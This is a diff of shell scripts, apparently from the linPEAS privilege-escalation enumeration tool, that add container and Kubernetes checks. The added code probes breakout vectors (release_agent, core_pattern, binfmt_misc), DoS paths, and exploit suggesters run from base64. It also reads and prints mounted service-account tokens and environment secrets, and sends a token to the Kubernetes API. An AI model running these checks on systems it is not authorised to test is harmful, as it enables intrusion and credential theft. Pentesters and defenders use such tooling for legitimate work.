grep -v "^#" /etc/fstab 2>/dev/null | grep -Ev "\W+\#|^#" | sed -${E} "s,$mountG,${SED_GREEN},g" | sed -${E} "s,$notmounted,${SED_RED},g" | sed -${E} "s%$mounted%${SED_BLUE}%g" | sed -${E} "s,$Wfolders,${SED_RED}," | sed -${E} "s,$mountpermsB,${SED_RED},g" | sed -${E} "s,$mountpermsG,${SED_GREEN},g" grep -v "^#" /etc/fstab 2>/dev/null | grep -Ev "\W+\#|^#" | sed -${E} "s,$mountG,${SED_GREEN},g" | sed -${E} "s,$notmounted,${SED_RED},g" | sed -${E} "s%$mounted%${SED_BLUE}%g" | sed -${E} "s,$Wfolders,${SED_RED}," | sed -${E} "s,$mountpermsB,${SED_RED},g" | sed -${E} "s,$mountpermsG,${SED_GREEN},g"
echo "" echo ""
fi fi
@@ -120,13 +103,13 @@ fi
#-- SY) Environment vars #-- SY) Environment vars
print_2title "Environment" print_2title "Environment"
print_info "Any private information inside environment variables?" print_info "Any private information inside environment variables?"
(env || printenv || set) 2>/dev/null | grep -v "RELEVANT*|FIND*|^VERSION=|dbuslistG|mygroups|ldsoconfdG|pwd_inside_history|kernelDCW_Ubuntu_Precise|kernelDCW_Ubuntu_Trusty|kernelDCW_Ubuntu_Xenial|kernelDCW_Rhel|^sudovB=|^rootcommon=|^mounted=|^mountG=|^notmounted=|^mountpermsB=|^mountpermsG=|^kernelB=|^C=|^RED=|^GREEN=|^Y=|^B=|^NC=|TIMEOUT=|groupsB=|groupsVB=|knw_grps=|sidG|sidB=|sidVB=|sidVB2=|sudoB=|sudoG=|sudoVB=|timersG=|capsB=|notExtensions=|Wfolders=|writeB=|writeVB=|_usrs=|compiler=|PWD=|LS_COLORS=|pathshG=|notBackup=|processesDump|processesB|commonrootdirs|USEFUL_SOFTWARE" | sed -${E} "s,[pP][wW][dD]|[pP][aA][sS][sS][wW]|[aA][pP][iI][kK][eE][yY]|[aA][pP][iI][_][kK][eE][yY]|KRB5CCNAME,${SED_RED},g" || echo_not_found "env || set" (env || printenv || set) 2>/dev/null | grep -v "RELEVANT*|FIND*|^VERSION=|dbuslistG|mygroups|ldsoconfdG|pwd_inside_history|kernelDCW_Ubuntu_Precise|kernelDCW_Ubuntu_Trusty|kernelDCW_Ubuntu_Xenial|kernelDCW_Rhel|^sudovB=|^rootcommon=|^mounted=|^mountG=|^notmounted=|^mountpermsB=|^mountpermsG=|^kernelB=|^C=|^RED=|^GREEN=|^Y=|^B=|^NC=|TIMEOUT=|groupsB=|groupsVB=|knw_grps=|sidG|sidB=|sidVB=|sidVB2=|sudoB=|sudoG=|sudoVB=|timersG=|capsB=|notExtensions=|Wfolders=|writeB=|writeVB=|_usrs=|compiler=|PWD=|LS_COLORS=|pathshG=|notBackup=|processesDump|processesB|commonrootdirs|USEFUL_SOFTWARE|PSTORAGE_KUBERNETES" | sed -${E} "s,[pP][wW][dD]|[pP][aA][sS][sS][wW]|[aA][pP][iI][kK][eE][yY]|[aA][pP][iI][_][kK][eE][yY]|KRB5CCNAME,${SED_RED},g" || echo_not_found "env || set"
echo "" echo ""
#-- SY) Dmesg #-- SY) Dmesg
if [ "$(command -v dmesg 2>/dev/null)" ] || [ "$DEBUG" ]; then if [ "$(command -v dmesg 2>/dev/null)" ] || [ "$DEBUG" ]; then
print_2title "Searching Signature verification failed in dmesg" print_2title "Searching Signature verification failed in dmesg"
print_info "https://book.hacktricks.xyz/linux-unix/privilege-escalation#dmesg-signature-verification-failed" print_info "https://book.hacktricks.xyz/linux-hardening/privilege-escalation#dmesg-signature-verification-failed"
(dmesg 2>/dev/null | grep "signature") || echo_not_found "dmesg" (dmesg 2>/dev/null | grep "signature") || echo_not_found "dmesg"
echo "" echo ""
fi fi
@@ -145,11 +128,7 @@ if [ "$(command -v bash 2>/dev/null)" ]; then
print_2title "Executing Linux Exploit Suggester" print_2title "Executing Linux Exploit Suggester"
print_info "https://github.com/mzet-/linux-exploit-suggester" print_info "https://github.com/mzet-/linux-exploit-suggester"
les_b64="peass{LES}" les_b64="peass{LES}"
if [ "$EXTRA_CHECKS" ]; then echo $les_b64 | base64 -d | bash | sed "s,$(printf '\033')\\[[0-9;]*[a-zA-Z],,g" | grep -i "\[CVE" -A 10 | grep -Ev "^\-\-$" | sed -${E} "s,\[CVE-[0-9]+-[0-9]+\].*,${SED_RED},g"
echo $les_b64 | base64 -d | bash -s -- --checksec | sed "s,$(printf '\033')\\[[0-9;]*[a-zA-Z],,g" | sed -E "s,\[CVE-[0-9]+-[0-9]+\].*,${SED_RED},g"
else
echo $les_b64 | base64 -d | bash | sed "s,$(printf '\033')\\[[0-9;]*[a-zA-Z],,g" | grep -i "\[CVE" -A 10 | grep -Ev "^\-\-$" | sed -${E} "s,\[CVE-[0-9]+-[0-9]+\].*,${SED_RED},g"
fi
echo "" echo ""
fi fi
@@ -157,7 +136,7 @@ if [ "$(command -v perl 2>/dev/null)" ]; then
print_2title "Executing Linux Exploit Suggester 2" print_2title "Executing Linux Exploit Suggester 2"
print_info "https://github.com/jondonas/linux-exploit-suggester-2" print_info "https://github.com/jondonas/linux-exploit-suggester-2"
les2_b64="peass{LES2}" les2_b64="peass{LES2}"
echo $les2_b64 | base64 -d | perl | sed "s,$(printf '\033')\\[[0-9;]*[a-zA-Z],,g" | grep -i "CVE" -B 1 -A 10 | grep -Ev "^\-\-$" | sed -${E} "s,CVE-[0-9]+-[0-9]+,${SED_RED},g" echo $les2_b64 | base64 -d | perl 2>/dev/null | sed "s,$(printf '\033')\\[[0-9;]*[a-zA-Z],,g" | grep -i "CVE" -B 1 -A 10 | grep -Ev "^\-\-$" | sed -${E} "s,CVE-[0-9]+-[0-9]+,${SED_RED},g"
echo "" echo ""
fi fi
@@ -182,6 +161,14 @@ else
echo_not_found "AppArmor" echo_not_found "AppArmor"
fi fi
#-- SY) AppArmor2
print_list "AppArmor profile? .............. "$NC
(cat /proc/self/attr/current 2>/dev/null || echo "unconfined") | sed "s,unconfined,${SED_RED}," | sed "s,kernel,${SED_GREEN},"
#-- SY) LinuxONE
print_list "is linuxONE? ................... "$NC
( (uname -a | grep "s390x" >/dev/null 2>&1) && echo "Yes" || echo_not_found "s390x")
#-- SY) grsecurity #-- SY) grsecurity
print_list "grsecurity present? ............ "$NC print_list "grsecurity present? ............ "$NC
( (uname -r | grep "\-grsec" >/dev/null 2>&1 || grep "grsecurity" /etc/sysctl.conf >/dev/null 2>&1) && echo "Yes" || echo_not_found "grsecurity") ( (uname -r | grep "\-grsec" >/dev/null 2>&1 || grep "grsecurity" /etc/sysctl.conf >/dev/null 2>&1) && echo "Yes" || echo_not_found "grsecurity")
@@ -198,6 +185,18 @@ print_list "Execshield enabled? ............ "$NC
print_list "SELinux enabled? ............... "$NC print_list "SELinux enabled? ............... "$NC
(sestatus 2>/dev/null || echo_not_found "sestatus") | sed "s,disabled,${SED_RED}," (sestatus 2>/dev/null || echo_not_found "sestatus") | sed "s,disabled,${SED_RED},"
#-- SY) Seccomp
print_list "Seccomp enabled? ............... "$NC
([ "$(grep Seccomp /proc/self/status 2>/dev/null | grep -v 0)" ] && echo "enabled" || echo "disabled") | sed "s,disabled,${SED_RED}," | sed "s,enabled,${SED_GREEN},"
#-- SY) AppArmor
print_list "User namespace? ................ "$NC
if [ "$(cat /proc/self/uid_map 2>/dev/null)" ]; then echo "enabled" | sed "s,enabled,${SED_GREEN},"; else echo "disabled" | sed "s,disabled,${SED_RED},"; fi
#-- SY) cgroup2
print_list "Cgroup2 enabled? ............... "$NC
([ "$(grep cgroup2 /proc/filesystems 2>/dev/null)" ] && echo "enabled" || echo "disabled") | sed "s,disabled,${SED_RED}," | sed "s,enabled,${SED_GREEN},"
#-- SY) Gatekeeper #-- SY) Gatekeeper
if [ "$MACPEAS" ]; then if [ "$MACPEAS" ]; then
print_list "Gatekeeper enabled? .......... "$NC print_list "Gatekeeper enabled? .......... "$NC

View File

@@ -16,7 +16,7 @@ containerCheck() {
containerType="docker\n" containerType="docker\n"
fi fi
# Are we inside kubenetes? # Are we inside kubernetes?
if grep "/kubepod" /proc/1/cgroup -qa 2>/dev/null || if grep "/kubepod" /proc/1/cgroup -qa 2>/dev/null ||
grep -qai kubepods /proc/self/cgroup 2>/dev/null; then grep -qai kubepods /proc/self/cgroup 2>/dev/null; then
@@ -25,6 +25,14 @@ containerCheck() {
else containerType="kubernetes\n" else containerType="kubernetes\n"
fi fi
fi fi
# Inside concourse?
if grep "/concourse" /proc/1/mounts -qa 2>/dev/null; then
inContainer="1"
if [ "$containerType" ]; then
containerType="$containerType (concourse)\n"
fi
fi
# Are we inside LXC? # Are we inside LXC?
if env | grep "container=lxc" -qa 2>/dev/null || if env | grep "container=lxc" -qa 2>/dev/null ||
@@ -69,27 +77,33 @@ enumerateDockerSockets() {
dockerVersion="$(echo_not_found)" dockerVersion="$(echo_not_found)"
if ! [ "$SEARCHED_DOCKER_SOCKETS" ]; then if ! [ "$SEARCHED_DOCKER_SOCKETS" ]; then
SEARCHED_DOCKER_SOCKETS="1" SEARCHED_DOCKER_SOCKETS="1"
for dock_sock in $(find / ! -path "/sys/*" -type s -name "docker.sock" -o -name "docker.socket" 2>/dev/null); do for int_sock in $(find / ! -path "/sys/*" -type s -name "docker.sock" -o -name "docker.socket" -o -name "dockershim.sock" -o -name "containerd.sock" -o -name "crio.sock" -o -name "frakti.sock" -o -name "rktlet.sock" 2>/dev/null); do
if ! [ "$IAMROOT" ] && [ -w "$dock_sock" ]; then if ! [ "$IAMROOT" ] && [ -w "$int_sock" ]; then
echo "You have write permissions over Docker socket $dock_sock" | sed -${E} "s,$dock_sock,${SED_RED_YELLOW},g" if echo "$int_sock" | grep -Eq "docker"; then
echo "Docker enummeration:" dock_sock="$int_sock"
docker_enumerated="" echo "You have write permissions over Docker socket $dock_sock" | sed -${E} "s,$dock_sock,${SED_RED_YELLOW},g"
echo "Docker enummeration:"
docker_enumerated=""
if [ "$(command -v curl)" ]; then if [ "$(command -v curl)" ]; then
sockInfoResponse="$(curl -s --unix-socket $dock_sock http://localhost/info)" sockInfoResponse="$(curl -s --unix-socket $dock_sock http://localhost/info)"
dockerVersion=$(echo "$sockInfoResponse" | tr ',' '\n' | grep 'ServerVersion' | cut -d'"' -f 4) dockerVersion=$(echo "$sockInfoResponse" | tr ',' '\n' | grep 'ServerVersion' | cut -d'"' -f 4)
echo $sockInfoResponse | tr ',' '\n' | grep -E "$GREP_DOCKER_SOCK_INFOS" | grep -v "$GREP_DOCKER_SOCK_INFOS_IGNORE" | tr -d '"' echo $sockInfoResponse | tr ',' '\n' | grep -E "$GREP_DOCKER_SOCK_INFOS" | grep -v "$GREP_DOCKER_SOCK_INFOS_IGNORE" | tr -d '"'
if [ "$sockInfoResponse" ]; then docker_enumerated="1"; fi if [ "$sockInfoResponse" ]; then docker_enumerated="1"; fi
fi fi
if [ "$(command -v docker)" ] && ! [ "$docker_enumerated" ]; then if [ "$(command -v docker)" ] && ! [ "$docker_enumerated" ]; then
sockInfoResponse="$(docker info)" sockInfoResponse="$(docker info)"
dockerVersion=$(echo "$sockInfoResponse" | tr ',' '\n' | grep 'Server Version' | cut -d' ' -f 4) dockerVersion=$(echo "$sockInfoResponse" | tr ',' '\n' | grep 'Server Version' | cut -d' ' -f 4)
printf "$sockInfoResponse" | tr ',' '\n' | grep -E "$GREP_DOCKER_SOCK_INFOS" | grep -v "$GREP_DOCKER_SOCK_INFOS_IGNORE" | tr -d '"' printf "$sockInfoResponse" | tr ',' '\n' | grep -E "$GREP_DOCKER_SOCK_INFOS" | grep -v "$GREP_DOCKER_SOCK_INFOS_IGNORE" | tr -d '"'
fi
else
echo "You have write permissions over interesting socket $int_sock" | sed -${E} "s,$int_sock,${SED_RED},g"
fi fi
else else
echo "You don't have write permissions over Docker socket $dock_sock" | sed -${E} "s,$dock_sock,${SED_GREEN},g" echo "You don't have write permissions over interesting socket $int_sock" | sed -${E} "s,$int_sock,${SED_GREEN},g"
fi fi
done done
fi fi
@@ -123,13 +137,88 @@ checkContainerExploits() {
fi fi
} }
checkCreateReleaseAgent(){
cat /proc/$$/cgroup 2>/dev/null | grep -Eo '[0-9]+:[^:]+' | grep -Eo '[^:]+$' | while read -r subsys
do
if unshare -UrmC --propagation=unchanged bash -c "mount -t cgroup -o $subsys cgroup /tmp/cgroup_3628d4 2>&1 >/dev/null && test -w /tmp/cgroup_3628d4/release_agent" >/dev/null 2>&1 ; then
release_agent_breakout2="Yes (unshare with $subsys)";
rm -rf /tmp/cgroup_3628d4
break
fi
done
}
checkProcSysBreakouts(){
dev_mounted="No"
if [ $(ls -l /dev | grep -E "^c" | wc -l) -gt 50 ]; then
dev_mounted="Yes";
fi
proc_mounted="No"
if [ $(ls /proc | grep -E "^[0-9]" | wc -l) -gt 50 ]; then
proc_mounted="Yes";
fi
run_unshare=$(unshare -UrmC bash -c 'echo -n Yes' 2>/dev/null)
if ! [ "$run_unshare" = "Yes" ]; then
run_unshare="No"
fi
if [ "$(ls -l /sys/fs/cgroup/*/release_agent 2>/dev/null)" ]; then
release_agent_breakout1="Yes"
else
release_agent_breakout1="No"
fi
release_agent_breakout2="No"
mkdir /tmp/cgroup_3628d4
mount -t cgroup -o memory cgroup /tmp/cgroup_3628d4 2>/dev/null
if [ $? -eq 0 ]; then
release_agent_breakout2="Yes";
rm -rf /tmp/cgroup_3628d4
else
mount -t cgroup -o rdma cgroup /tmp/cgroup_3628d4 2>/dev/null
if [ $? -eq 0 ]; then
release_agent_breakout2="Yes";
rm -rf /tmp/cgroup_3628d4
else
checkCreateReleaseAgent
fi
fi
rm -rf /tmp/cgroup_3628d4 2>/dev/null
core_pattern_breakout="$( (echo -n '' > /proc/sys/kernel/core_pattern && echo Yes) 2>/dev/null || echo No)"
modprobe_present="$(ls -l `cat /proc/sys/kernel/modprobe` 2>/dev/null || echo No)"
panic_on_oom_dos="$( (echo -n '' > /proc/sys/vm/panic_on_oom && echo Yes) 2>/dev/null || echo No)"
panic_sys_fs_dos="$( (echo -n '' > /proc/sys/fs/suid_dumpable && echo Yes) 2>/dev/null || echo No)"
binfmt_misc_breakout="$( (echo -n '' > /proc/sys/fs/binfmt_misc/register && echo Yes) 2>/dev/null || echo No)"
proc_configgz_readable="$([ -r '/proc/config.gz' ] 2>/dev/null && echo Yes || echo No)"
sysreq_trigger_dos="$( (echo -n '' > /proc/sysrq-trigger && echo Yes) 2>/dev/null || echo No)"
kmsg_readable="$( (dmesg > /dev/null 2>&1 && echo Yes) 2>/dev/null || echo No)" # Kernel Exploit Dev
kallsyms_readable="$( (head -n 1 /proc/kallsyms > /dev/null && echo Yes )2>/dev/null || echo No)" # Kernel Exploit Dev
mem_readable="$( (head -n 1 /proc/self/mem > /dev/null && echo Yes) 2>/dev/null || echo No)"
if [ "$(head -n 1 /tmp/kcore 2>/dev/null)" ]; then kcore_readable="Yes"; else kcore_readable="No"; fi
kmem_readable="$( (head -n 1 /proc/kmem > /dev/null && echo Yes) 2>/dev/null || echo No)"
kmem_writable="$( (echo -n '' > /proc/kmem > /dev/null && echo Yes) 2>/dev/null || echo No)"
mem_readable="$( (head -n 1 /proc/mem > /dev/null && echo Yes) 2>/dev/null || echo No)"
mem_writable="$( (echo -n '' > /proc/mem > /dev/null && echo Yes) 2>/dev/null || echo No)"
sched_debug_readable="$( (head -n 1 /proc/sched_debug > /dev/null && echo Yes) 2>/dev/null || echo No)"
mountinfo_readable="$( (head -n 1 /proc/*/mountinfo > /dev/null && echo Yes) 2>/dev/null || echo No)"
uevent_helper_breakout="$( (echo -n '' > /sys/kernel/uevent_helper && echo Yes) 2>/dev/null || echo No)"
vmcoreinfo_readable="$( (head -n 1 /sys/kernel/vmcoreinfo > /dev/null && echo Yes) 2>/dev/null || echo No)"
security_present="$( (ls -l /sys/kernel/security > /dev/null && echo Yes) 2>/dev/null || echo No)"
security_writable="$( (echo -n '' > /sys/kernel/security/a && echo Yes) 2>/dev/null || echo No)"
efi_vars_writable="$( (echo -n '' > /sys/firmware/efi/vars && echo Yes) 2>/dev/null || echo No)"
efi_efivars_writable="$( (echo -n '' > /sys/firmware/efi/efivars && echo Yes) 2>/dev/null || echo No)"
}
############################################## ##############################################
#---------------) Containers (---------------# #---------------) Containers (---------------#
############################################## ##############################################
containerCheck containerCheck
print_2title "Container related tools present" print_2title "Container related tools present (if any):"
command -v docker command -v docker
command -v lxc command -v lxc
command -v rkt command -v rkt
@@ -137,6 +226,11 @@ command -v kubectl
command -v podman command -v podman
command -v runc command -v runc
if [ "$$FAT_LINPEAS_AMICONTAINED" ]; then
print_2title "Am I Containered?"
execBin "AmIContainered" "https://github.com/genuinetools/amicontained" "$FAT_LINPEAS_AMICONTAINED"
fi
print_2title "Container details" print_2title "Container details"
print_list "Is this a container? ...........$NC $containerType" print_list "Is this a container? ...........$NC $containerType"
@@ -163,12 +257,12 @@ else
if [ "$rktcontainers" -ne "0" ]; then echo "Running RKT Containers" | sed -${E} "s,.*,${SED_RED},"; rkt list 2>/dev/null; echo ""; fi if [ "$rktcontainers" -ne "0" ]; then echo "Running RKT Containers" | sed -${E} "s,.*,${SED_RED},"; rkt list 2>/dev/null; echo ""; fi
fi fi
#If docker # If docker
if echo "$containerType" | grep -qi "docker"; then if echo "$containerType" | grep -qi "docker"; then
print_2title "Docker Container details" print_2title "Docker Container details"
inDockerGroup inDockerGroup
print_list "Am I inside Docker group .......$NC $DOCKER_GROUP\n" | sed -${E} "s,Yes,${SED_RED_YELLOW}," print_list "Am I inside Docker group .......$NC $DOCKER_GROUP\n" | sed -${E} "s,Yes,${SED_RED_YELLOW},"
print_list "Looking and enumerating Docker Sockets\n"$NC print_list "Looking and enumerating Docker Sockets (if any):\n"$NC
enumerateDockerSockets enumerateDockerSockets
print_list "Docker version .................$NC$dockerVersion" print_list "Docker version .................$NC$dockerVersion"
checkDockerVersionExploits checkDockerVersionExploits
@@ -176,7 +270,8 @@ if echo "$containerType" | grep -qi "docker"; then
print_list "Vulnerable to CVE-2019-13139 ...$NC$VULN_CVE_2019_13139"$NC | sed -${E} "s,Yes,${SED_RED_YELLOW}," print_list "Vulnerable to CVE-2019-13139 ...$NC$VULN_CVE_2019_13139"$NC | sed -${E} "s,Yes,${SED_RED_YELLOW},"
if [ "$inContainer" ]; then if [ "$inContainer" ]; then
checkDockerRootless checkDockerRootless
print_list "Rootless Docker? ................ $DOCKER_ROOTLESS\n"$NC | sed -${E} "s,No,${SED_RED}," | sed -${E} "s,Yes,${SED_GREEN}," print_list "Rootless Docker? ............... $DOCKER_ROOTLESS\n"$NC | sed -${E} "s,No,${SED_RED}," | sed -${E} "s,Yes,${SED_GREEN},"
echo ""
fi fi
if df -h | grep docker; then if df -h | grep docker; then
print_2title "Docker Overlays" print_2title "Docker Overlays"
@@ -184,35 +279,121 @@ if echo "$containerType" | grep -qi "docker"; then
fi fi
fi fi
# If token secrets mounted
if [ "$(mount | sed -n '/secret/ s/^tmpfs on \(.*default.*\) type tmpfs.*$/\1\/namespace/p')" ]; then
print_2title "Listing mounted tokens"
print_info "https://cloud.hacktricks.xyz/pentesting-cloud/kubernetes-security/attacking-kubernetes-from-inside-a-pod"
ALREADY="IinItialVaaluE"
for i in $(mount | sed -n '/secret/ s/^tmpfs on \(.*default.*\) type tmpfs.*$/\1\/namespace/p'); do
TOKEN=$(cat $(echo $i | sed 's/.namespace$/\/token/'))
if ! [ $(echo $TOKEN | grep -E $ALREADY) ]; then
ALREADY="$ALREADY|$TOKEN"
echo "Directory: $i"
echo "Namespace: $(cat $i)"
echo ""
echo $TOKEN
echo "================================================================================"
echo ""
fi
done
fi
if [ "$inContainer" ]; then if [ "$inContainer" ]; then
echo "" echo ""
print_2title "Container & breakout enumeration" print_2title "Container & breakout enumeration"
print_info "https://book.hacktricks.xyz/linux-unix/privilege-escalation/docker-breakout" print_info "https://book.hacktricks.xyz/linux-hardening/privilege-escalation/docker-breakout"
print_list "Container ID ...................$NC $(cat /etc/hostname && echo '')" print_list "Container ID ...................$NC $(cat /etc/hostname && echo -n '\n')"
if echo "$containerType" | grep -qi "docker"; then if [ -f "/proc/1/cpuset" ] && echo "$containerType" | grep -qi "docker"; then
print_list "Container Full ID ..............$NC $(basename $(cat /proc/1/cpuset))\n" print_list "Container Full ID ..............$NC $(basename $(cat /proc/1/cpuset))\n"
fi fi
print_list "Seccomp enabled? ............... "$NC
([ "$(grep Seccomp /proc/self/status | grep -v 0)" ] && echo "enabled" || echo "disabled") | sed "s,disabled,${SED_RED}," | sed "s,enabled,${SED_GREEN},"
print_list "AppArmor profile? .............. "$NC
(cat /proc/self/attr/current 2>/dev/null || echo "disabled") | sed "s,disabled,${SED_RED}," | sed "s,kernel,${SED_GREEN},"
print_list "User proc namespace? ........... "$NC
if [ "$(cat /proc/self/uid_map 2>/dev/null)" ]; then (printf "enabled"; cat /proc/self/uid_map) | sed "s,enabled,${SED_GREEN},"; else echo "disabled" | sed "s,disabled,${SED_RED},"; fi
checkContainerExploits checkContainerExploits
print_list "Vulnerable to CVE-2019-5021 .. $VULN_CVE_2019_5021\n"$NC | sed -${E} "s,Yes,${SED_RED_YELLOW}," print_list "Vulnerable to CVE-2019-5021 .... $VULN_CVE_2019_5021\n"$NC | sed -${E} "s,Yes,${SED_RED_YELLOW},"
print_3title "Breakout via mounts"
print_info "https://book.hacktricks.xyz/linux-hardening/privilege-escalation/docker-breakout/docker-breakout-privilege-escalation/sensitive-mounts"
checkProcSysBreakouts
print_list "/proc mounted? ................. $proc_mounted\n" | sed -${E} "s,Yes,${SED_RED_YELLOW},"
print_list "/dev mounted? .................. $dev_mounted\n" | sed -${E} "s,Yes,${SED_RED_YELLOW},"
print_list "Run ushare ..................... $run_unshare\n" | sed -${E} "s,Yes,${SED_RED},"
print_list "release_agent breakout 1........ $release_agent_breakout1\n" | sed -${E} "s,Yes,${SED_RED},"
print_list "release_agent breakout 2........ $release_agent_breakout2\n" | sed -${E} "s,Yes,${SED_RED_YELLOW},"
print_list "core_pattern breakout .......... $core_pattern_breakout\n" | sed -${E} "s,Yes,${SED_RED_YELLOW},"
print_list "binfmt_misc breakout ........... $binfmt_misc_breakout\n" | sed -${E} "s,Yes,${SED_RED_YELLOW},"
print_list "uevent_helper breakout ......... $uevent_helper_breakout\n" | sed -${E} "s,Yes,${SED_RED_YELLOW},"
print_list "is modprobe present ............ $modprobe_present\n" | sed -${E} "s,/.*,${SED_RED},"
print_list "DoS via panic_on_oom ........... $panic_on_oom_dos\n" | sed -${E} "s,Yes,${SED_RED},"
print_list "DoS via panic_sys_fs ........... $panic_sys_fs_dos\n" | sed -${E} "s,Yes,${SED_RED},"
print_list "DoS via sysreq_trigger_dos ..... $sysreq_trigger_dos\n" | sed -${E} "s,Yes,${SED_RED},"
print_list "/proc/config.gz readable ....... $proc_configgz_readable\n" | sed -${E} "s,Yes,${SED_RED},"
print_list "/proc/sched_debug readable ..... $sched_debug_readable\n" | sed -${E} "s,Yes,${SED_RED},"
print_list "/proc/*/mountinfo readable ..... $mountinfo_readable\n" | sed -${E} "s,Yes,${SED_RED},"
print_list "/sys/kernel/security present ... $security_present\n" | sed -${E} "s,Yes,${SED_RED},"
print_list "/sys/kernel/security writable .. $security_writable\n" | sed -${E} "s,Yes,${SED_RED},"
if [ "$EXTRA_CHECKS" ]; then
print_list "/proc/kmsg readable ............ $kmsg_readable\n" | sed -${E} "s,Yes,${SED_RED},"
print_list "/proc/kallsyms readable ........ $kallsyms_readable\n" | sed -${E} "s,Yes,${SED_RED},"
print_list "/proc/self/mem readable ........ $sched_debug_readable\n" | sed -${E} "s,Yes,${SED_RED},"
print_list "/proc/kcore readable ........... $kcore_readable\n" | sed -${E} "s,Yes,${SED_RED},"
print_list "/proc/kmem readable ............ $kmem_readable\n" | sed -${E} "s,Yes,${SED_RED},"
print_list "/proc/kmem writable ............ $kmem_writable\n" | sed -${E} "s,Yes,${SED_RED},"
print_list "/proc/mem readable ............. $mem_readable\n" | sed -${E} "s,Yes,${SED_RED},"
print_list "/proc/mem writable ............. $mem_writable\n" | sed -${E} "s,Yes,${SED_RED},"
print_list "/sys/kernel/vmcoreinfo readable $vmcoreinfo_readable\n" | sed -${E} "s,Yes,${SED_RED},"
print_list "/sys/firmware/efi/vars writable $efi_vars_writable\n" | sed -${E} "s,Yes,${SED_RED},"
print_list "/sys/firmware/efi/efivars writable $efi_efivars_writable\n" | sed -${E} "s,Yes,${SED_RED},"
fi
echo ""
print_3title "Namespaces"
print_info "https://book.hacktricks.xyz/linux-hardening/privilege-escalation/docker-breakout/namespaces"
ls -l /proc/self/ns/
if echo "$containerType" | grep -qi "kubernetes"; then if echo "$containerType" | grep -qi "kubernetes"; then
print_list "Kubernetes namespace ...........$NC $(cat /run/secrets/kubernetes.io/serviceaccount/namespace /var/run/secrets/kubernetes.io/serviceaccount/namespace /secrets/kubernetes.io/serviceaccount/namespace 2>/dev/null)\n" print_list "Kubernetes namespace ...........$NC $(cat /run/secrets/kubernetes.io/serviceaccount/namespace /var/run/secrets/kubernetes.io/serviceaccount/namespace /secrets/kubernetes.io/serviceaccount/namespace 2>/dev/null)\n"
print_list "Kubernetes token ...............$NC $(cat /run/secrets/kubernetes.io/serviceaccount/token /var/run/secrets/kubernetes.io/serviceaccount/token /secrets/kubernetes.io/serviceaccount/token 2>/dev/null)\n" print_list "Kubernetes token ...............$NC $(cat /run/secrets/kubernetes.io/serviceaccount/token /var/run/secrets/kubernetes.io/serviceaccount/token /secrets/kubernetes.io/serviceaccount/token 2>/dev/null)\n"
print_2title "Kubernetes Information"
echo "" echo ""
print_2title "Kubernetes Information"
print_info "https://cloud.hacktricks.xyz/pentesting-cloud/kubernetes-security/attacking-kubernetes-from-inside-a-pod"
print_3title "Kubernetes service account folder" print_3title "Kubernetes service account folder"
ls -lR /run/secrets/kubernetes.io/ /var/run/secrets/kubernetes.io/ /secrets/kubernetes.io/ 2>/dev/null ls -lR /run/secrets/kubernetes.io/ /var/run/secrets/kubernetes.io/ /secrets/kubernetes.io/ 2>/dev/null
echo "" echo ""
print_3title "Kubernetes env vars" print_3title "Kubernetes env vars"
(env | set) | grep -Ei "kubernetes|kube" (env | set) | grep -Ei "kubernetes|kube" | grep -Ev "^WF=|^Wfolders=|^mounted=|^USEFUL_SOFTWARE='|^INT_HIDDEN_FILES=|^containerType="
echo ""
print_3title "Current sa user k8s permissions"
print_info "https://cloud.hacktricks.xyz/pentesting-cloud/kubernetes-security/abusing-roles-clusterroles-in-kubernetes"
kubectl auth can-i --list 2>/dev/null || curl -s -k -d "$(echo \"eyJraW5kIjoiU2VsZlN1YmplY3RSdWxlc1JldmlldyIsImFwaVZlcnNpb24iOiJhdXRob3JpemF0aW9uLms4cy5pby92MSIsIm1ldGFkYXRhIjp7ImNyZWF0aW9uVGltZXN0YW1wIjpudWxsfSwic3BlYyI6eyJuYW1lc3BhY2UiOiJlZXZlZSJ9LCJzdGF0dXMiOnsicmVzb3VyY2VSdWxlcyI6bnVsbCwibm9uUmVzb3VyY2VSdWxlcyI6bnVsbCwiaW5jb21wbGV0ZSI6ZmFsc2V9fQo=\"|base64 -d)" \
"https://${KUBERNETES_SERVICE_HOST}:${KUBERNETES_SERVICE_PORT_HTTPS}/apis/authorization.k8s.io/v1/selfsubjectrulesreviews" \
-X 'POST' -H 'Content-Type: application/json' \
--header "Authorization: Bearer $(cat /var/run/secrets/kubernetes.io/serviceaccount/token)" | sed "s,secrets|exec|create|patch|impersonate|\"*\",${SED_RED},"
fi fi
echo "" echo ""
print_2title "Container Capabilities" print_2title "Container Capabilities"
capsh --print 2>/dev/null | sed -${E} "s,$containercapsB,${SED_RED},g" print_info "https://book.hacktricks.xyz/linux-hardening/privilege-escalation/docker-breakout/docker-breakout-privilege-escalation#capabilities-abuse-escape"
if [ "$(command -v capsh)" ]; then
capsh --print 2>/dev/null | sed -${E} "s,$containercapsB,${SED_RED},g"
else
defautl_docker_caps="00000000a80425fb=cap_chown,cap_dac_override,cap_fowner,cap_fsetid,cap_kill,cap_setgid,cap_setuid,cap_setpcap,cap_net_bind_service,cap_net_raw,cap_sys_chroot,cap_mknod,cap_audit_write,cap_setfcap"
cat /proc/self/status | tr '\t' ' ' | grep Cap | sed -${E} "s, .*,${SED_RED},g" | sed -${E} "s/00000000a80425fb/$defautl_docker_caps/g" | sed -${E} "s,0000000000000000|00000000a80425fb,${SED_GREEN},g"
echo $ITALIC"Run capsh --decode=<hex> to decode the capabilities"$NC
fi
echo "" echo ""
print_2title "Privilege Mode" print_2title "Privilege Mode"
@@ -228,10 +409,10 @@ if [ "$inContainer" ]; then
echo "" echo ""
print_2title "Interesting Files Mounted" print_2title "Interesting Files Mounted"
(mount -l || cat /proc/self/mountinfo || cat /proc/1/mountinfo || cat /proc/mounts || cat /proc/self/mounts || cat /proc/1/mounts )2>/dev/null | grep -Ev "$GREP_IGNORE_MOUNTS" | sed -${E} "s,docker.sock,${SED_RED_YELLOW}," (mount -l || cat /proc/self/mountinfo || cat /proc/1/mountinfo || cat /proc/mounts || cat /proc/self/mounts || cat /proc/1/mounts )2>/dev/null | grep -Ev "$GREP_IGNORE_MOUNTS" | sed -${E} "s,.sock,${SED_RED}," | sed -${E} "s,docker.sock,${SED_RED_YELLOW}," | sed -${E} "s,/dev/,${SED_RED},g"
echo "" echo ""
print_2title "Possible Entrypoints" print_2title "Possible Entrypoints"
ls -lah /*.sh /*entrypoint* /**/entrypoint* /**/*.sh /deploy* 2>/dev/null | sort | uniq ls -lah /*.sh /*entrypoint* /**/entrypoint* /**/*.sh /deploy* 2>/dev/null | sort | uniq
echo "" echo ""
fi fi

View File

@@ -0,0 +1,510 @@
###########################################
#-----------) Cloud functions (-----------#
###########################################
